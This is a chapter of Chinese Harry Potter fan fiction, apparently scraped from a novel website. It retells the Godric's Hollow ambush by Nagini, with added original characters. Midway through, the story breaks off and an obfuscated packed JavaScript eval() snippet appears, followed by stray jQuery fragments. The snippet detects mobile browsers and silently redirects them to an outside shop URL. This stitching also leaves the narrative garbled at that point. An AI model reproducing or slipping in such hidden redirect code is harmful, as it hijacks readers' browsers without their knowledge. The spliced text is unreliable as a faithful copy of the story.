当哈利和赫敏站在他和父母原本居住的房子前谈论这那块纪念碑时，他突然顿住了：一个穿得很厚重的人慢慢地从小街向他们走来，远处广场上明亮的灯光让人看不清他那黑黑的轮廓。尽管很困难，但哈利看出那是个女人。


    她走得很慢，或许是怕在雪上滑到。她那佝偻的背，坚毅的样子，她拖着脚走路的疲态，让人感觉到她年纪非常老。他们沉默着看她走近。哈利想看看她是否会走进某间房屋，但是他心里很清楚地知道她不会走进任何一间房子。终于，她在他们前面几米处停下，站在冰冻的马路中间，看着他们。


    他不需要赫敏掐他的手臂也能明白过来，这个女人不可能是麻瓜。她正站在那里看着一所麻瓜根本看不见的房子。而且，有一点更确认了她是个女巫，因为在这样一个寒冷的夜晚出来，仅仅为了看一幢古老的、已成为废墟的房子，这实在是太古怪了。而且，按照魔法规则，她应该看不见赫敏和哈利。然而哈利有种特别奇怪的感觉，他觉得她知道他们在那里，也知道他们是谁。正当哈利得出了这个令人不安的结论时，那个女人举起了一只带手套的手，打了个手势。


    赫敏在隐形衣下向哈利靠近了一些，她紧握住哈利的手臂：“她是怎么知道的？”


    他摇了摇头。那个女人又更加用力地挥着手。哈利可以想到一大堆不理会她的理由，他和她在这样的无人街道上对视，对她身份的怀疑也随着时间一分一秒地增长。


    她会不会在这长长的几个月里一直在等待他们？她知道哈利一定会来？还是福洛林和她建立过联系？她是不是在暗处从墓地一直跟踪他们到了这里？她看的到他们，哈利觉得有什么地方很怪异，但说不上来。


    最后哈利突然说话了，把赫敏吓了一跳。


    “你是巴希达吗？”


    这个穿着厚重的人点了一下头，又挥了挥手。


    哈利和赫敏在隐形衣下对视了一眼，哈利扬起眉毛，赫敏紧张地微微点了点头。


    他们朝那个女人走去，她马上蹒跚地沿着来的路往回走，带领他们走过几幢房屋，进入了一扇大门。他们跟着她顺着前面的小路，穿过一个和刚才的废墟差不多的枝枝蔓蔓的花园。她站在门前摸索了一会，掏出房门钥匙，开了门，向旁边退了一步让他们进去。


    哈利在经过巴希达身边时脱下了隐形衣。他站到她的旁边时才知道她是多么的矮小。由于年老驼背，她几乎只到哈利胸膛那么高。她关上身后的门，她的指节是蓝色的，皮肤上斑斑点点，像是剥落的油漆，然后她眯起眼睛看着哈利的脸。


    那双眼睛由于白内障而十分混浊，深深地陷入了满是皱纹的几乎透明的皮肤里，她的整张脸都透出了皮肤下面的静脉和黄褐色的老年斑。哈利怀疑她根本认不出自己；即使她能，看到的也是哈利伪装成的那个秃头的麻瓜。


    她把虫蛀的披肩解下来，露出了白发稀疏的头顶，腐烂发霉的味道和房子里灰尘的气味变得更明显了。


    “巴希达？”哈利再次问道。


    她又点了点头，拖着脚步穿过他们俩，像是没看到赫敏似的把她推到一边，走进一间貌似起居室的房间里去了。


    “哈利，我不太确定现在的状况是怎样。”赫敏轻声说着。


    “看她那副样子，万一有什么事情，我想我们也可以击败她。”哈利说着。


    “她不该是这个样子的，福林特说她很热情……”。


    “过来！”巴希达在隔壁的房间里喊道。


    赫敏跳了起来，一把抓住哈利的胳膊。


    “没事的，”哈利安慰她，他带着她走进起居室。


    巴希达在烛光闪烁的房间里蹒跚着，光线依旧很暗，屋子里灰尘遍布。19世纪的木质地板在被踩上时嘎嘎作响，潮湿发霉的气味充斥了整个房间。


    床上的床单是碎花的，倒是能看出来是一个女人的房间。然而它的主人此刻乎已经忘记她也能够施展魔法——她用手笨拙的点着蜡烛，袖口的带子随时会被不小心点着。


    “让我来吧。”哈利说道，然后他从她手中取下火柴。巴希达看着哈利点燃了放置在房间各个浅盘里的蜡烛根儿，这些蜡烛放在摇摇晃晃的放在成堆的书上和一个摆满了破碎发霉的杯子的桌子的边上。


    在哈利点到最后一根蜡烛的时候，他看到那根蜡烛处在一个弧形表面的盒子上面，里面存有许多照片。当烛光闪烁的时候，它的光芒摇曳的照在那些落灰的玻璃和银器上。哈利看到了那些照片里面的场景在晃动。在巴希达借着火光摸索前进的时候，哈利小声念了一句“旋风扫净！”那些照片上的灰尘立刻消失了。


    他看到了其中六个最大最华丽的框架中的照片已经不在了，不知道是巴希达还是别的什么人拿走了它们。这堆照片的最底下的一张吸引了哈利的目光，他拿起来看了看：


    是那个当初坐在格里戈维奇的窗台上，金色头发，神态愉悦的小偷，他从银质的框架里懒洋洋的看着哈利，哈利立刻想起曾经见过这个男孩——在丽塔的《阿不思·邓不利多的一生与谎言》那本书中夹着的照片上！他就是那个与邓不利多挽着手的年轻人！


    “巴沙特……夫人……小姐？”他说，他的声音轻微的颤抖，“这是谁？”


    巴希达正站在房间的中间看着赫敏为她点燃火把。


    “巴沙特小姐？”哈利又喊了一遍，他拿着照片走到巴希达的身边，壁炉里的火焰燃烧起来了，巴希达听到他的声音抬起头来，她看上去像一个死人。


    “这人是谁？”哈利举着照片问她。


    她庄重地凝视着照片，然后再凝视着哈利。


    “你知不知道这人是谁？”他用比平常更慢更响的声音又重复了一遍。“就是这个人，你知道他是谁吗？他叫什么名字？”


    巴希达依旧没有回答。


    “为什么让我们跟你到这儿来，巴沙特夫人……小姐？”赫敏提高声音问道，“你想告诉我们什么事情吗？”


    可巴希达似乎根本没有理会赫敏讲的话，她猛一转头向大厅回望过去。


    “什么意思？要我们离开？”哈利努力理解着巴希达的动作。


    她把动作重复了一遍，但这次是先指着哈利，再指着自己，最后指着天花板。


    “好吧……赫敏，我想她希望我们跟她上楼。”


    “好，”赫敏回答，“我们走。”


    但是赫敏刚迈开脚步，巴希达就拼命地摇着头，再次指着哈利，然后指着自己。


    “她希望我单独跟她去。”


    “为什么？”赫敏大声问道，她的声音在烛光闪耀的房间内显得尖锐而清晰，巴希达轻轻摇头。


    “也许邓不利多让她把剑给我，而且只给我？”


    “你认为她真的知道你是谁？”


    “是的，”哈利说，与巴希达那双混浊的眼睛对视着。“她也知道相片中的人是谁。”


    “那好，但是快一点，哈利。”


    “带路吧，”哈利对巴希达说。


    巴希达颤巍巍地带着哈利向门走去。哈利回头对赫敏笑了笑，让她放心，但他不知道她有没有看见。赫敏抱着手臂站在烛光下脏兮兮的房间中，看着书橱。哈利走出房间，趁赫敏和巴希达都没注意的时候，把金发小偷的银框相片放进了口袋。


    狭窄的楼梯坡度很陡，哈利向前半伸着手，以防巴希达从他上面跌倒，那看起来确实很有可能。她有些气喘，慢慢走到了楼上，左拐，带哈利进入一个天花板很低的房间。


    房间黑黑的，气味也糟透了。哈利刚看出床下伸出来是一只夜壶，巴希达就关上门，他们陷入一片黑暗。


    “荧光闪烁。”哈里说道，他的魔杖发出光亮的瞬间，哈利被面前的巴希达吓了一跳，就在那黑暗的几秒钟里，巴希达走到了他身旁，而哈利并没听见她走过来。


    “波特？”她低声说道。


    “对，是我。”


    她缓慢地点了点头，显得很庄重。哈利觉得自己心跳得更快了，不安的情绪开始扩大。


    “你有什么东西要给我吗？”哈利问道，但她好像被哈利发光的魔杖分散了注意力。


    “你有什么东西要给我吗？”哈利又问了一遍。


    巴希达闭上眼睛，就在那个时刻，几件事情同时发生了：哈利的伤疤如针扎般的疼了起来，黑暗发臭的房间突然从眼前消失。


    现在他是伏地魔，他感到强烈的兴奋，用低沉冷酷的蛇佬腔命令道：抓住他！


    哈利摇晃着站在原地，黑暗发臭的房间又一次出现在他的身边，他不知道刚才发生了什么事情。


    “你有什么要给我吗？”哈利第三次问道，声音提高了许多。


    “就在那边，”她轻声说，手指着拐角。哈利举起他的魔杖，看见拉着窗帘的窗户下面有张乱糟糟地堆满衣服的桌子。


    这次她没再带他过去。哈利举着魔杖，侧身从巴希达和床之间走过去。他不希望巴希达离开自己的视线。


    “在哪里？”他摸着那张桌子问道，桌子上堆满了像是脏衣服一样的东西。


    “那里，”她指着那堆乱七八糟的破烂说道。


    就在他转过头，想要在那堆破烂里面找到一把镶了红宝石的剑的时候，哈利的余光看到巴希达怪异的发生了变化，他惊慌地转过身，恐惧几乎让他瘫痪：他看见那个年老的身体倒在地上，一条巨大的蛇从她脖子处钻了出来。


    他刚扬起魔杖就被蛇一口咬住，这前臂上强有力的一咬使他的魔杖脱手飞向了天花板。旋转的魔杖发出光芒照得房间让人头晕目眩，然后光熄灭了。蛇尾猛地扫过他的腹部，几乎让他无法呼吸。他向后跌倒在堆满衣服的桌子上，一头栽在那堆旧衣服里面……


    哈利在桌上向旁边一滚，勉强地躲过了再次刷过来的蛇尾，当他着地时，玻璃碎片像下雨一样劈头盖脸地落下。他听到楼下的赫敏大叫道：“哈利？”


    没时间吸入足够的空气去回答赫敏的喊声了，一条又重又滑的东西把他撞到地板上，从他的身体上有力地滑过……


    “不！”他喘着气说，感觉自己被固定在了地板上。


    “很好，”声音在虚无中指挥道，“很好……抓住他……抓住他……”


    “魔杖……魔杖飞来……”


    但是什么事情也没有发生，他只能用手来努力阻止那条蛇在他身体上越捆越紧，肺部的空气都快被挤出来了，一条冰冷的、蠕动的东西离他的心脏只有几英寸远，他脑子里满是寒冷的白光，所有的意识都湮灭了，他的呼吸渐渐微弱下来，只听见远处的脚步声，一切都在离他远去……


    “放开他，离开他。”


    就在哈利以为他已经窒息而亡的时候，他听见另一个熟悉的声音，缺氧的大脑让他无法辨认那是谁，心脏似乎是在他胸膛外面砰砰作响，他莫名觉得一阵狂喜，他在飞翔，不需要飞天扫帚或者夜骐……


    他突然醒了，周围仍旧是一片黑暗。


    纳吉尼不知道为何已经松开了他。


    他挣扎着爬起，凭借楼下的微光看到蛇正在和赫敏搏斗。赫敏一声尖叫猛跳到一旁，她的粉碎咒击中了拉着窗帘的窗子，窗子立刻被击成碎片，外面寒冷的空气马上充斥着屋内。哈利赶紧矮身躲避这又一阵玻璃渣的袭来，他的脚下一滑，像是踩到了铅笔一样的东西……是他的魔杖……


    他弯腰捡起魔杖，那条蛇正在用尾巴抽打着房间的各个地方。看不到赫敏在哪里，哈利不由得想到了最坏的结果。


    然而突然随着一声巨响，一道红光闪过，蛇飞了起来，一圈圈盘绕着向天花板飞去。哈利意识到房子里来了其他的帮手，但他谁也看不见。


    他举起魔杖，就在那时，他的伤疤开始剧烈疼痛，比以前这么多年的任何一次都要疼痛。


    “他来了！不！他来了！”


    他大叫叫喊的时候，那条蛇落了下来，一边发出疯狂的咝咝声，一边撞倒了靠墙的架子，碎瓷片飞得到处都是，一切都乱成一团。哈利跳到床上，紧紧抓住那团黑色的阴影，那是赫敏。


    哈利把赫敏从床上拽过来，赫敏疼痛的尖叫着，而那条蛇又一次直起身子，哈利知道，比蛇更可怕的东西就要来了，也许已经到了门外，他的头疼的快要从伤疤处炸开了。


    哈利拖着赫敏连跑带跳地躲开，蛇发出响亮的声音，又要袭击他们。赫敏尖叫道：“障碍重重！”她的咒语飞过房间，把大衣橱的试衣镜炸开了花，碎片在他们身后飞舞着。哈利感觉热浪烤焦了他的手背，碎片割伤了他的脸颊，他拉着赫敏从床上跳到了那张坏了的桌子上，然后直接跳出了没玻璃的窗子。他们在半空中时，还能听见赫敏的尖叫在夜色中回响……


    又有人进入了房间，是福林特！


    哈利用


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377411|135277||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    模糊的视线看见了他手中握着的红宝石银剑——格兰芬多的宝剑挥向大蛇。


    “你杀了我老师！你这条畜/生！”


    “滚！快滚！阿瓦达索命！”


    他来了！伏地魔来了！哈利意识模糊地想。


    “除你武器！”从房间阴影里又发出了一个声音，魔咒被挡掉了。


    他的伤疤几欲炸开，他就是伏地魔，他跑过那个发臭的房间，秃顶的男人侧歪着，瘦小的女人正在带着意识模糊的男人躲避着巨蟒的攻击，然后他看见福林特手中举着宝剑，手起刀落，大蛇被砍成了两段。


    伏地魔狂怒地举着魔杖……他必须先杀了他……然后，炫目的红光和绿光遮蔽了他的视线……福林特幻影移形离开了，他用修长白皙的手紧抓着窗台，看着那个秃顶的男人和那个瘦小的女人扭曲着身体然后在他眼前消失，他失去了自己的宠物蛇，失去了自己的魂器，有人阻止了他，他什么也没得到。他的怒吼划过黑暗的花园，盖过圣诞节教堂的钟声……


    “不！”


    哈利不知道自己是否还在逃跑，他看见了十四年前那个万圣夜发生的事……


    “不……”


    他还是伏地魔，现在他站在巴希达家的破窗子旁，沉浸在他极为挫败的记忆中。在他脚边，被砍成两段的大蛇倒在自己的血泊中，瓷器碎片和玻璃碎片满地都是……他朝下方看去，看见了那个已死之人……


    “不……”


    “哈利，都没事了，你没事了！”


    他俯身拾起摔坏的相框，没错，老魔杖曾经的主人，那个出言挑衅他的人，报应最终回到了他身上——现在，他才是老魔杖的拥有者。


    “不……我把它掉在地上了……我把它掉在地上了……”哈利懊恼地尖叫，但没人听到他的声音。“伏地魔比我先知道了一切。有关于死亡圣器的秘密。”


    “哈利，没事了，醒醒，快醒醒！”


    没错，他是哈利……哈利，不是伏地魔……


    他睁开了眼睛。


    “哈利，”赫敏轻声说。“你感觉……还好吗？”


    “是的。”他撒谎道。


    他在帐篷里，躺在下铺上，盖着一堆毯子。他从周围的静谧中，以及帆布帐篷顶部透出的光线中判断出现在已经几乎是黎明了。他全身都是汗，连床单和毯子上也有汗。


    “我们逃出来了。”


    “是的，”赫敏说。“现在这个地方隐蔽得连福林特也找不到我们……我用了悬停魔咒来把你放到床铺上。我没法抱起你，因为你刚才……嗯，你刚才非常……”


    她棕色的眼睛下面有了紫色的阴影，而且他注意到她手里拿着一块海绵，原来她刚才一直在替他擦脸。


    “你刚才病了，”她把话说完。“病得很厉害。”


    “我们什么时候离开那里的？”


    “几个小时之前，现在快到早上了。”


    “我刚才是不是……神志不清？”


    “不完全是，”赫敏困难地说，“你一直在大喊大叫或者呻吟或者……”她说话的口吻让哈利觉得十分不安。他刚才做了什么？像伏地魔一样大喊出咒语，还是像婴儿车里的婴儿一样嚎哭？


    十四年前那个晚上，那幢房子里有五个人，他，他的父母，入侵的伏地魔，还有试图阻止伏地魔的凯瑟琳，她为什么没有死？


    邓布利多说，除了他，没有人能躲过伏地魔的索命咒，但是她也是个例外。


    他躺回到枕头上，看着赫敏痛苦灰暗的脸。


    “我们不该去戈德里克山谷的，是我的错，全是我的错。赫敏，对不起。”


    “不是你的错。我也想去的。我真的以为邓不利多已经把剑放在那儿给你了。


    “是啊，嗯……我们理解错了，是不是？或许罗恩是对的，最起码我们应该和凤凰社的人沟通一下。”哈利想到了福林特斩杀了纳吉尼，这么说来，他们又摧毁了一个魂器……但是他的问题太多了，思绪被紧紧缠绕在了一起，拧成一个死结。


    “哈利，发生了什么事？她把你带上楼梯后发生了什么事？蛇是不是藏在什么地方？它是不是马上出来咬死了她然后袭击你？”


    “不。”哈利回答。“她就是那条蛇……或者说蛇就是她……都一样。”


    “什……什么？”


    他闭上了眼睛。他仍然可以在自己身上闻到巴希达的房子的气味，这让整个事情清晰得恐怖。


    “巴希达一定是死了一段时间了，那条蛇在……她身体里面。神秘人把它放在戈德里克山谷等着我们。你是对的，他知道我会回去。”


    “蛇在她体内？”


    他又睁开了眼睛，赫敏看起来感到很厌恶很恶心。


    “卢平说过世界上有我们无法想象的魔法。”哈利说道。“她不和你说话，因为它是蛇佬腔，我当时没有意识到，但是我当然是能听懂的。我们一走进房间，蛇就向神秘人通报了消息，那些都在我的脑子里发生了，他很高兴，很快就会赶过来。


    上楼之后，她变形了，变成了蛇，然后袭击了我。”他低下头看着伤口，“它并不是要杀了我，只是拖住我，等待神秘人的到来……但是有人让它放开我。”


    “谁？”


    “凯瑟琳。”哈利说。“我听到了凯瑟琳的声音，我不确定是不是在我脑海里，还是我即将窒息时的错觉。”


    赫敏瞪大了眼睛。


    “但这说得通。她可能和神秘人待在一起。也就是说，昨晚房间里有五个人，外加纳吉尼。”


    哈利不愿意再谈这个人，他掀开被子想要坐起来。


    “哈利，别动，你需要休息！”


    “需要休息的人是你，我无意冒犯，但是你看起来很糟糕。我没事，我来值勤。”


    他脱下了汗湿透的T恤衫，然后从赫敏手中拿回自己的魔杖，忽然想起了一件加可怕的事情。


    “隐形衣！隐形衣去哪里了？”


    她没有回答，只是看着他。


    “我们把隐形衣丢在巴希达的房子里了？”


    她咬着嘴唇，眼睛里充满了泪水。


    “哈利……”


    “隐形衣在哪里？”


    “我想是的。你在进门的时候脱下了隐形衣，然后它被放在了一楼的衣架上。”


    伏地魔发现了吗？应该没有，不然他刚才应该会看到。